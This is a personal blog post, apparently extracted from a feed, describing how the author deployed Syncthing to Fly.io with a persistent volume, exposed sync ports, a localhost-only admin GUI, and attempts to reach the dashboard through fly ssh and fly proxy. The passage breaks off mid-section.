 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/syncthing-on-fly.io/syncthing-dashboard_hu_9aa9ff0a6723ac47.png 300w, https://mtlynch.io/syncthing-on-fly.io/syncthing-dashboard_hu_c2b2cfc76afaa926.png 600w, https://mtlynch.io/syncthing-on-fly.io/syncthing-dashboard_hu_b5454e5291018b8c.png 800w, https://mtlynch.io/syncthing-on-fly.io/syncthing-dashboard.png 1170w'
 src="https://mtlynch.io/syncthing-on-fly.io/syncthing-dashboard.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Setting up Syncthing on my personal devices was easy, but I went on an interesting journey deploying it to a cloud server.&lt;/p>
&lt;h2 id="why-run-syncthing-in-the-cloud">Why run Syncthing in the cloud?&lt;/h2>
&lt;p>Syncthing synchronizes files peer to peer. That means that at least two of my devices have to be online and running Syncthing simultaneously to stay in sync. If I change a file on my desktop, shut it down, and then take my laptop with me on a work trip, my laptop won&amp;rsquo;t pick up the changes I made on my desktop.&lt;/p></description><content:encoded>&lt;p>I recently discovered &lt;a href="https://syncthing.net/">Syncthing&lt;/a>, an open-source tool for syncing files across multiple machines.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/syncthing-on-fly.io/syncthing-dashboard.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/syncthing-on-fly.io/syncthing-dashboard_hu_9aa9ff0a6723ac47.png 300w, https://mtlynch.io/syncthing-on-fly.io/syncthing-dashboard_hu_c2b2cfc76afaa926.png 600w, https://mtlynch.io/syncthing-on-fly.io/syncthing-dashboard_hu_b5454e5291018b8c.png 800w, https://mtlynch.io/syncthing-on-fly.io/syncthing-dashboard.png 1170w'
 src="https://mtlynch.io/syncthing-on-fly.io/syncthing-dashboard.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Setting up Syncthing on my personal devices was easy, but I went on an interesting journey deploying it to a cloud server.&lt;/p>
&lt;h2 id="why-run-syncthing-in-the-cloud">Why run Syncthing in the cloud?&lt;/h2>
&lt;p>Syncthing synchronizes files peer to peer. That means that at least two of my devices have to be online and running Syncthing simultaneously to stay in sync. If I change a file on my desktop, shut it down, and then take my laptop with me on a work trip, my laptop won&amp;rsquo;t pick up the changes I made on my desktop.&lt;/p>
&lt;p>I could prevent my devices from going out of sync with each other if I had one cloud server running Syncthing that was always online and available.&lt;/p>
&lt;h2 id="i-dont-want-your-life-story--just-tell-me-how-to-deploy-syncthing">I don&amp;rsquo;t want your life story — just tell me how to deploy Syncthing&lt;/h2>
&lt;p>I&amp;rsquo;m going to share some approaches to deploying Syncthing that failed. If you want to skip to the solution, see the section, &lt;a href="#how-to-deploy-syncthing-to-flyio">&amp;ldquo;How to deploy Syncthing to Fly.io&amp;rdquo;&lt;/a>.&lt;/p>
&lt;h2 id="prior-work-syncthing--tailscale-on-flyio">Prior work: Syncthing + Tailscale on Fly.io&lt;/h2>
&lt;p>For the past two years, &lt;a href="https://fly.io">Fly.io&lt;/a> has been my preferred cloud hosting provider, so I checked if anyone had written about Syncthing on Fly.io. It turned out that &lt;a href="https://web.archive.org/web/20240523091036/https://akatz.org/running-syncthing-on-fly-io-with-tailscale/">Andrew Katz had written a nice tutorial&lt;/a> less than a year ago.&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/syncthing-on-fly.io/akatz-tutorial.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/syncthing-on-fly.io/akatz-tutorial_hu_14410dcb9858633a.png 300w, https://mtlynch.io/syncthing-on-fly.io/akatz-tutorial_hu_6a06d5f60264959c.png 600w, https://mtlynch.io/syncthing-on-fly.io/akatz-tutorial.png 713w'
 src="https://mtlynch.io/syncthing-on-fly.io/akatz-tutorial.png" alt="Screenshot of post &amp;#39;Running Syncthing on Fly.io with Tailscale&amp;#39;" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Andrew&amp;rsquo;s tutorial was great news because it proved that my idea was feasible. One quibble I had was that it depended on Tailscale, a popular VPN solution. I love Tailscale, but it has some serious drawbacks in this context.&lt;/p>
&lt;p>Combining Syncthing with Tailscale requires building a custom Docker image. It&amp;rsquo;s a nontrivial maintenance burden to update that image as both tools evolve. And mixing together two applications in a single container is &lt;a href="https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#decouple-applications">a bit of a Docker no-no&lt;/a>.&lt;/p>
&lt;p>All Fly.io servers include Wireguard VPN by default. I suspected that I could improve Andrew&amp;rsquo;s solution by leaning on the Wireguard connection that was already there instead of mixing in Tailscale.&lt;/p>
&lt;h2 id="the-linuxserver-docker-image-doesnt-work-on-flyio">The linuxserver Docker image doesn&amp;rsquo;t work on Fly.io&lt;/h2>
&lt;p>When I searched for a Syncthing Docker image, I somehow overlooked the &lt;a href="https://hub.docker.com/r/syncthing/syncthing">official Docker image&lt;/a> and instead found the &lt;a href="https://hub.docker.com/r/linuxserver/syncthing">unofficial LinuxServer.io version&lt;/a>.&lt;/p>
&lt;p>I tried deploying the linuxserver.io version to Fly.io, but the server immediately went into a crash loop:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>2023-05-23T12:44:17.247 [info] Preparing to run: `/init` as root
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2023-05-23T12:44:17.258 [info] 2023/05/23 12:44:17 listening on [fdaa:0:20ad:a7b:cb:a9e9:30cd:2]:22 (DNS: [fdaa::3]:53)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2023-05-23T12:44:17.261 [info] s6-overlay-suexec: fatal: can only run as pid 1
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I discovered a &lt;a href="https://community.fly.io/t/deploying-grocy-image/6238?u=mtlynch">Fly.io support thread&lt;/a> with the same issue:&lt;/p>
&lt;blockquote>
&lt;p>After some digging around I think I know what the issue is! Thanks to your last message with the error &lt;code>s6-overlay-suexec: fatal: can only run as pid 1&lt;/code>&lt;/p>
&lt;p>I was able to do some digging and found that the image I’m using, uses a process manager that wants to run as pid 1 which, according to &lt;a href="https://fly.io/docs/app-guides/multiple-processes/#there-are-so-many-other-process-managers">Running Multiple Processes Inside A Fly.io App&lt;/a>, isn’t possible.&lt;/p>
&lt;p>-&lt;a href="https://community.fly.io/t/deploying-grocy-image/6238/6?u=mtlynch">@mpaupulaire&lt;/a>&lt;/p>&lt;/blockquote>
&lt;p>Looking at the linuxserver Docker source, their runtime image &lt;a href="https://github.com/linuxserver/docker-syncthing/blob/caf5ba87db5202e261215b807c03dc59c740de01/Dockerfile#L37">depends on linuxserver/baseimage-alpine&lt;/a>. I pulled up the source for &lt;a href="https://github.com/linuxserver/docker-baseimage-alpine/blob/07df980344f2b046c255bf9be5a391fe2f4a06f8/Dockerfile">that image&lt;/a>, and I don&amp;rsquo;t know much about overriding the &lt;code>init&lt;/code> process, but there were several lines in the file related to init, so it looked like the issue @mpaupulaire spotted explained my crash loop.&lt;/p>
&lt;p>Instead of checking more rigorously for an official Syncthing Docker image, I spent three hours &lt;a href="https://github.com/mtlynch/docker-syncthing">making my own&lt;/a>. When I sat down to write this tutorial, I realized I had overlooked &lt;a href="https://hub.docker.com/r/syncthing/syncthing">the official image&lt;/a>, so I&amp;rsquo;ll skip to that.&lt;/p>
&lt;h2 id="a-basic-syncthing-deployment-on-flyio">A basic Syncthing deployment on Fly.io&lt;/h2>
&lt;p>With the official Syncthing Docker image in hand, I was ready to deploy to Fly.io. To start, I created a new Fly.io app:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ fly apps create --name syncthing-mtlynch
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>? Select Organization: Michael Lynch (personal)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>New app created: syncthing-mtlynch
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Synthing needs a place to store data, so I created a Fly.io persistent volume called &lt;code>syncthing_data&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">SIZE_IN_GB&lt;/span>=&lt;span style="color:#3677a9">3&lt;/span> &lt;span style="color:#999;font-style:italic"># This is the limit of fly.io&amp;#39;s free tier as of 2023-05-29&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>fly volumes create syncthing_data &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --size &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">SIZE_IN_GB&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --yes
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Next, made a minimal Fly.io config for Syncthing:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-toml" data-lang="toml">&lt;span style="display:flex;">&lt;span>app = &lt;span style="color:#ed9d13">&amp;#34;syncthing-mtlynch&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[build]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> image = &lt;span style="color:#ed9d13">&amp;#34;syncthing/syncthing:1.23.4&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[mounts]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> source=&lt;span style="color:#ed9d13">&amp;#34;syncthing_data&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> destination=&lt;span style="color:#ed9d13">&amp;#34;/var/syncthing&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now, the moment of truth. I launched the app:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ fly &lt;span style="color:#40ffff">deploy&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>==&amp;gt; Verifying app config
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Validating /tmp/tmp.mezhLZdpSv/fly.toml
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Platform: machines
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>✓ Configuration is valid
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>--&amp;gt; Verified app &lt;span style="color:#40ffff">config&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>==&amp;gt; Building image
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Searching &lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> image &lt;span style="color:#ed9d13">&amp;#39;syncthing/syncthing:1.23.4&amp;#39;&lt;/span> remotely...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>image found: img_98dgp8mlx504xw05
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Watch your app at https://fly.io/apps/syncthing-mtlynch/monitoring
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Updating existing machines in &lt;span style="color:#ed9d13">&amp;#39;syncthing-mtlynch&amp;#39;&lt;/span> with rolling strategy
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> [1/1] Replacing 6e82ddd3ae5698 [app] by new machine
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> [1/1] Machine 918570e1f96283 [app] update finished: success
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Finished deploying
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And it worked! From the logs, Syncthing was up and running.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>2023/05/25 12:09:52 INFO: My ID: YERKMWG-WMUKYOR-J57TFK7-LQ3NHPX-6TI5AFU-IX7SEEW-GX7QO3C-NPYATQT
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2023/05/25 12:09:53 INFO: GUI and API listening on [::]:8384
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2023/05/25 12:09:53 INFO: Access the GUI via the following URL: http://127.0.0.1:8384/
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2023/05/25 12:09:53 INFO: My name is &amp;#34;918570e1f96283&amp;#34;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2023/05/25 12:09:53 INFO: Completed initial scan of sendreceive folder &amp;#34;Default Folder&amp;#34; (default)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2023/05/25 12:10:12 INFO: quic://0.0.0.0:22000 detected NAT type: Port restricted NAT
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2023/05/25 12:10:12 INFO: quic://0.0.0.0:22000 resolved external address quic://66.225.222.75:22000 (2023/05/25 12:10:32 INFO: Joined relay relay://54.175.93.212:443
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The logs showed the Syncthing server&amp;rsquo;s device ID, so I could add it as a peer from my local Syncthing server:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/syncthing-on-fly.io/syncthing-add-device.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/syncthing-on-fly.io/syncthing-add-device_hu_b6bfe14ede68886f.webp 300w, https://mtlynch.io/syncthing-on-fly.io/syncthing-add-device_hu_a2384310eadc28ad.webp 600w, https://mtlynch.io/syncthing-on-fly.io/syncthing-add-device_hu_367deab5b03610e0.webp 800w, https://mtlynch.io/syncthing-on-fly.io/syncthing-add-device.webp 896w'
 src="https://mtlynch.io/syncthing-on-fly.io/syncthing-add-device.webp" alt="Screenshot showing add device with device ID of GHLLBWT-QJ4LGHJ-RT43QUV-DWFRMGS-5OTXHGH-LAZAIMG-HQ3TVAE-UUC2SA5" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Unfortunately, my local Syncthing instance failed to connect to the cloud server.&lt;/p>













 








 
 
 







&lt;div class="img" style="max-width: 555px">



 &lt;a href="https://mtlynch.io/syncthing-on-fly.io/syncthing-cant-connect.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 555px, 98vw"
 srcset='https://mtlynch.io/syncthing-on-fly.io/syncthing-cant-connect_hu_bce580853859952.webp 300w, https://mtlynch.io/syncthing-on-fly.io/syncthing-cant-connect.webp 553w'
 src="https://mtlynch.io/syncthing-on-fly.io/syncthing-cant-connect.webp" alt="Screenshot showing syncthing-mtlynch in disconnected state" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>That&amp;rsquo;s expected because I haven&amp;rsquo;t configured my Fly.io server to allow any inbound traffic.&lt;/p>
&lt;p>If I left the server alone long enough, it would likely connect anyway through a &lt;a href="https://docs.syncthing.net/users/relaying.html#relaying">relay&lt;/a>, but Syncthing works better if you configure its incoming ports correctly.&lt;/p>
&lt;h2 id="configuring-firewall-ports-for-syncthing">Configuring firewall ports for Syncthing&lt;/h2>
&lt;p>At this point, Syncthing was up and running on Fly.io, but it couldn&amp;rsquo;t accept traffic from any of my other devices.&lt;/p>
&lt;p>Syncthing has helpfully clear documentation on configuring your firewall to expose the ports it needs &lt;a href="https://docs.syncthing.net/users/firewall.html#local-firewall">to communicate with peers&lt;/a>:&lt;/p>
&lt;blockquote>
&lt;p>Port 22000/TCP: TCP based sync protocol traffic&lt;/p>
&lt;p>Port 22000/UDP: QUIC based sync protocol traffic&lt;/p>
&lt;p>Port 21027/UDP: for discovery broadcasts on IPv4 and multicasts on IPv6&lt;/p>&lt;/blockquote>
&lt;p>Here&amp;rsquo;s how I translated that into Fly.io&amp;rsquo;s configuration.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-toml" data-lang="toml">&lt;span style="display:flex;">&lt;span>[[services]]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> internal_port = &lt;span style="color:#3677a9">22000&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> protocol = &lt;span style="color:#ed9d13">&amp;#34;tcp&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> [[services.ports]]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> port = &lt;span style="color:#3677a9">22000&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> [[services.tcp_checks]]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> grace_period = &lt;span style="color:#ed9d13">&amp;#34;1s&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> interval = &lt;span style="color:#ed9d13">&amp;#34;15s&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> restart_limit = &lt;span style="color:#3677a9">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> timeout = &lt;span style="color:#ed9d13">&amp;#34;2s&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[[services]]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> internal_port = &lt;span style="color:#3677a9">22000&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> protocol = &lt;span style="color:#ed9d13">&amp;#34;udp&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> [[services.ports]]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> port = &lt;span style="color:#3677a9">22000&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[[services]]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> internal_port = &lt;span style="color:#3677a9">21027&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> protocol = &lt;span style="color:#ed9d13">&amp;#34;udp&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> [[services.ports]]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> port = &lt;span style="color:#3677a9">21027&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I used port 22000 as a health check port. That means Fly.io will periodically poll that port, and if it can&amp;rsquo;t connect, it will know that Syncthing is unhealthy.&lt;/p>
&lt;p>The Synthing Docker image&amp;rsquo;s admin interface defaults to 0.0.0.0:8384, so it accepts connections on both private and public network interfaces. This shouldn&amp;rsquo;t &lt;em>really&lt;/em> matter since my Fly.io config doesn&amp;rsquo;t expose port 8384. For the sake of defense in depth, I configured Syncthing to listen only on the loopback interface.&lt;/p>
&lt;p>Syncthing&amp;rsquo;s &lt;a href="https://github.com/syncthing/syncthing/blob/v1.23.4/README-Docker.md#gui-security">documentation&lt;/a> explains that you can restrict access to the admin UI by unsetting the &lt;code>STGUIADDRESS&lt;/code> environment variable.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-toml" data-lang="toml">&lt;span style="display:flex;">&lt;span>[env]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># Only listen for connections to admin GUI through localhost.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> STGUIADDRESS = &lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Putting it all together, my &lt;code>fly.toml&lt;/code> file looked like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-toml" data-lang="toml">&lt;span style="display:flex;">&lt;span>app = &lt;span style="color:#ed9d13">&amp;#34;syncthing-mtlynch&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[build]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> image = &lt;span style="color:#ed9d13">&amp;#34;syncthing/syncthing:1.23.4&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[env]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># Only listen for connections to admin GUI through localhost.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> STGUIADDRESS = &lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[mounts]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> source=&lt;span style="color:#ed9d13">&amp;#34;syncthing_data&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> destination=&lt;span style="color:#ed9d13">&amp;#34;/var/syncthing&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[[services]]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> internal_port = &lt;span style="color:#3677a9">22000&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> protocol = &lt;span style="color:#ed9d13">&amp;#34;tcp&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> [[services.ports]]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> port = &lt;span style="color:#3677a9">22000&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> [[services.tcp_checks]]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> grace_period = &lt;span style="color:#ed9d13">&amp;#34;1s&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> interval = &lt;span style="color:#ed9d13">&amp;#34;15s&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> restart_limit = &lt;span style="color:#3677a9">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> timeout = &lt;span style="color:#ed9d13">&amp;#34;2s&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[[services]]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> internal_port = &lt;span style="color:#3677a9">22000&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> protocol = &lt;span style="color:#ed9d13">&amp;#34;udp&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> [[services.ports]]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> port = &lt;span style="color:#3677a9">22000&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[[services]]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> internal_port = &lt;span style="color:#3677a9">21027&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> protocol = &lt;span style="color:#ed9d13">&amp;#34;udp&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> [[services.ports]]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> port = &lt;span style="color:#3677a9">21027&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="configuring-syncthing-without-tailscale">Configuring Syncthing without Tailscale&lt;/h2>
&lt;p>Now, I&amp;rsquo;ve got Syncthing running on Fly.io! I can grab the device ID from the logs and add my Fly.io Syncthing node as a peer.&lt;/p>
&lt;p>There&amp;rsquo;s still a problem. Peer relationships in Syncthing require mutual consent. For my Syncthing cloud server to accept relationships from my devices, I&amp;rsquo;d need to access the cloud server&amp;rsquo;s admin dashboard.&lt;/p>
&lt;p>I didn&amp;rsquo;t want to expose the Syncthing admin interface to the whole Internet. I theoretically could have protected it with a strong password, but network-level protections are stronger and more reliable.&lt;/p>
&lt;p>Andrew Katz &lt;a href="#prior-work-syncthing--tailscale-on-flyio">solved this problem&lt;/a> by joining his Fly.io Syncthing server to his personal Tailscale VPN. That allowed Andrew to access the admin interface from within his VPN while preventing anyone else from connecting.&lt;/p>
&lt;p>As I mentioned before, every Fly.io server has Wireguard VPN built in, so could I access the admin interface that way?&lt;/p>
&lt;p>I started by attempting to SSH into my server:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ fly ssh console
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Connecting to fdaa:0:20ad:a7b:15f:92b0:4091:2... &lt;span style="color:#24909d">complete&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>32874e1dc76685:/#
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That was easy. I now had console access to my Syncthing server and could run any command I wanted.&lt;/p>
&lt;p>With the standard &lt;code>ssh&lt;/code> utility, you can tunnel local ports to the other end of the SSH connection. If I could tunnel my local port 8384 to port 8384 on my Syncthing server, then I could access my Syncthing server&amp;rsquo;s admin dashboard.&lt;/p>
&lt;p>Unfortunately, the &lt;code>fly ssh&lt;/code> command doesn&amp;rsquo;t support port forwarding, so that was out. But I discovered that the &lt;code>fly&lt;/code> utility has a &lt;code>proxy&lt;/code> command, so I tried that:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ fly proxy 8384:8384
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Proxying &lt;span style="color:#24909d">local&lt;/span> port &lt;span style="color:#3677a9">8384&lt;/span> to remote [syncthing-mtlynch.internal]:8384
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Okay, that seemed like it was doing something. But then I tried connecting, and no dice:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ curl http://localhost:8384
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>curl: (56) Recv failure: Connection reset by peer
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I tried a simpler test where I launched netcat on port 8000 and then tried to proxy to that:&lt;/p>
